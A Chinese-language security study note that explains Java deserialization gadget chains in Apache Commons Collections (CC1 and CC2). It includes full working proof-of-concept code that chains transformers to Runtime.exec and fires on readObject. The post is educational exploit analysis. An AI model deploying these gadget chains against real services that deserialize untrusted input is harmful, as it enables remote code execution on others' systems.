[toc]
CommonsCollections 1
Java版本为:1.7 (8u71之后已修复)
CommonsCollections 3.1 - 3.2.1
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
LazyMap
简介:修饰另一个 map,当调用 map 中不存在的 key 时使用工厂创建对象
多说无益,上代码
package com.yq1ng.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-22 13:24
*/
public class TestLazyMap {
public static void main(String[] args) {
// 定义处理不存在 key 的情况,可以是 Transformer 也可以是 ChainedTransformer 链子
// 用于反转调用不存在的 key 值
final Transformer reverseString = new Transformer() {
public Object transform(Object object) {
String name = (String) object;
String reverse = StringUtils.reverse(name);
return reverse;
}
};
Map names = new HashMap();
// 将处理链传给 lazyMap
Map lazyMap = LazyMap.decorate(names, reverseString);
// lazyMap 为空,测试调用不存在 key
String name = (String) lazyMap.get("yq1ng");
System.out.println("name:" + name);
// put 一个键值
lazyMap.put("yq1ng", "TestLazyMap");
// key 存在,不进入处理链
name = (String) lazyMap.get("yq1ng");
System.out.println("name:" + name);
}
}
可以看到 LazyMap.decorate(Map map, Transformer factory)
的 factory 是可以被控制的,而 Transformer
是一个接口,看看其实现有哪些
ConstantTransformer
简介:当调用其 transform 方法时,它将返回构造时传入的 对象
这个就不需要例子了吧,算了还是写一个吧哈哈哈
package com.yq1ng.cc1;
import org.apache.commons.collections.functors.ConstantTransformer;
/**
* @author ying
* @Description
* @create 2021-10-22 22:20
*/
public class TestConstantTransformer {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
System.out.println(constantTransformer.transform(new String()));
}
}
InvokerTransformer
简介:初始化此类后,调用 transform 方法将通过反射创建对象实例
代码也很清楚
没有什么限制,妥妥的 rce 执行点,这也是本 gadget 的终点,来个例子看看
package com.yq1ng.cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-22 22:32
*/
public class TestInvokerTransformer {
public static void main(String[] args) {
HashMap hashMap = new HashMap();
// 这里使用 LazyMap 是不行的,因为他继承的是 AbstractMapDecorator
// 其 put 就是简单的 map.put,没有其他操作,这也和 LazyMap 的名字很像,懒 Map
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
));
lazyMap.put(Runtime.getRuntime(), "yq1ng");
// 需要使用 TransformedMap,在调用 put 时会修饰 key 和 value
// 而 map 的修饰我们已经定义好了,弹出计算器
Map map = TransformedMap.decorate(hashMap,
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
),null);
map.put(Runtime.getRuntime(), "yq1ng");
}
}
ChainedTransformer
简介:将各个 Transformer 连接在一起,使用上一个 Transformer 的结果作为下一个 Transformer 的输入
他的代码也很简单,依次调用传入 Transformer 的 transform
来个例子
package com.yq1ng.cc1;
import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-22 22:08
*/
public class TestChainedTransformer {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map map = TransformedMap.decorate(hashMap, chain, null);
map.put("yq1ng", "test");
}
}
动态代理劫持
如果不会动态代理的话可以先看看这个:java动态代理实现与原理详细分析
代理有点像 PHP 的 __call 方法
直接上代码了,文件名不用写了吧,都懂
package com.yq1ng.cc1.DynamicProxy;
public interface GetFlag {
void GiveMeFlag();
}
package com.yq1ng.cc1.DynamicProxy;
/**
* @author ying
* @Description
* @create 2021-10-24 8:00 PM
*/
public class GetFlagImpl implements GetFlag {
public void GiveMeFlag() {
System.out.println("Give you flag : flag{yq1ng}");
}
}
package com.yq1ng.cc1.DynamicProxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
/**
* @author ying
* @Description
* @create 2021-10-24 8:02 PM
*/
public class GetFlagService {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("GiveMeFlag")){
System.out.println("nonono! I can't give it to you flag~");
}
return null;
}
};
GetFlag getFlag = (GetFlag) Proxy.newProxyInstance(
GetFlagImpl.class.getClassLoader(),
new Class[] {GetFlag.class},
handler
);
getFlag.GiveMeFlag();
}
}
运行以后发现并未获得 flag ,这就是简单的劫持
gadget
上面是能成功利用了,但是不可能让你直接使用 put 的,所以需要另辟蹊径。ysoserial 使用的是 org/apache/commons/collections/map/LazyMap.java#get()
, 上面也提到过, LazyMap.get()
在找不到值的时候会调用 factory.transform
,也就是经过处理链,那么只需要找到一个能直接/间接执行这个方法的类就好了。结果寻找到 rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke()
直接调用了 get()
那谁又去调用 AnnotationInvocationHandler.invoke()
呢?ysoserial 使用的是 动态代理:Proxy.newProxyInstance()
,可以把它想象成 PHP 的 __call()
。注意 AnnotationInvocationHandler
也是一个 InvocationHandler
,也就是如果将这个对象进行代理,那么在 readObject()
的时候调用任意方法就会进到 invoke()
里面。
代理可以这么写:
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// 创建 map 代理 handler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
// 创建 map 代理,劫持调用 map 时将数据经过处理链 chain
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
此时还不能序列化,因为这时候还是直走到 invoke()
,需要再次代理一下,对这个 invoke()
进行包装,使得在反序列化的时候调用到它
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
// 为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
做完上面这些这还不够,由于 Runtime
没有实现 Serializable 接口,所以上面的还是不能直接用,需要将 Runtime.getRuntime()
改为 Runtime.class
,因为所有的 Class 类都实现了 Serializable 接口。
其他的细节见下面 poc 的注释
poc
package com.yq1ng.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-19 22:55
*/
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
// 创建处理链
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
// 将处理链塞进 map
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// 创建 map 代理 handler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
// 创建 map 代理,劫持调用 map 时将数据经过处理链 chain
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
// 为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
// 写文件,模拟网络传输
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
outputStream.writeObject(handler);
outputStream.close();
// 读文件,模拟网络读取
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
运行以后可以发现弹出了计算器,但是如果你去调式的话在反序列化之前就会弹出计算器,当调试过了 劫持 map 调用 的那句代码后就会弹出计算器,是因为 idea 要处理每个变量数据展示出来导致执行了 map.toString()
经过了处理链弹出计算器。
参考
CommonsCollections 2
Java版本:暂无限制 (本人环境:8u301)
CommonsCollections 4.0
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
PriorityQueue 链
poc
package com.yq1ng.cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @author ying
* @Description
* @create 2021-11-13 10:22 PM
*/
public class cc2 {
public static void main(String[] args) throws Exception {
// 创建处理链
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}));
TransformingComparator Tcomparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
分析
可以看出来,此gadget入口为 java/util/PriorityQueue.java#readObject()
,首先是 readObject() --> heapify()
接着进入 siftDown()
在719触发poc中的链子,那么在poc中下面两行的作用是什么?
queue.add(1);
queue.add(2);
将这两行注释掉,debug看看。在 heapify()
这里,size=0导致不能进入循环;回溯一下size是怎么来的
从下面可以知道 queue.length
需要大于等于 2 才行,所以才往 queue 里面加了两个元素
后面就和cc1一样了
Javassit
Javassist是一个Java库,提供了一种操作应用程序的Java字节码的方法。从这个意义上讲,Javassist提供了对结构反射的支持,即在运行时更改类的实现的能力。字节码操作是在加载时通过提供的类加载器执行的。Javassist使Java程序可以在运行时定义新类,并在JVM加载该类文件时修改该文件。 维基百科(英文)
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault()
:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;ClassPath insertClassPath(ClassPath cp)
:将一个ClassPath对象插入到类搜索路径的起始位置;ClassPath appendClassPath
:将一个ClassPath对象加到类搜索路径的末尾位置;CtClass makeClass
:根据类名创建新的CtClass对象;CtClass get(java.lang.String classname)
:从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。
常用方法:
void setSuperclass(CtClass clazz)
:更改超类,除非此对象表示接口;byte[] toBytecode()
:将该类转换为类文件;CtConstructor makeClassInitializer()
:制作一个空的类初始化程序(静态构造函数);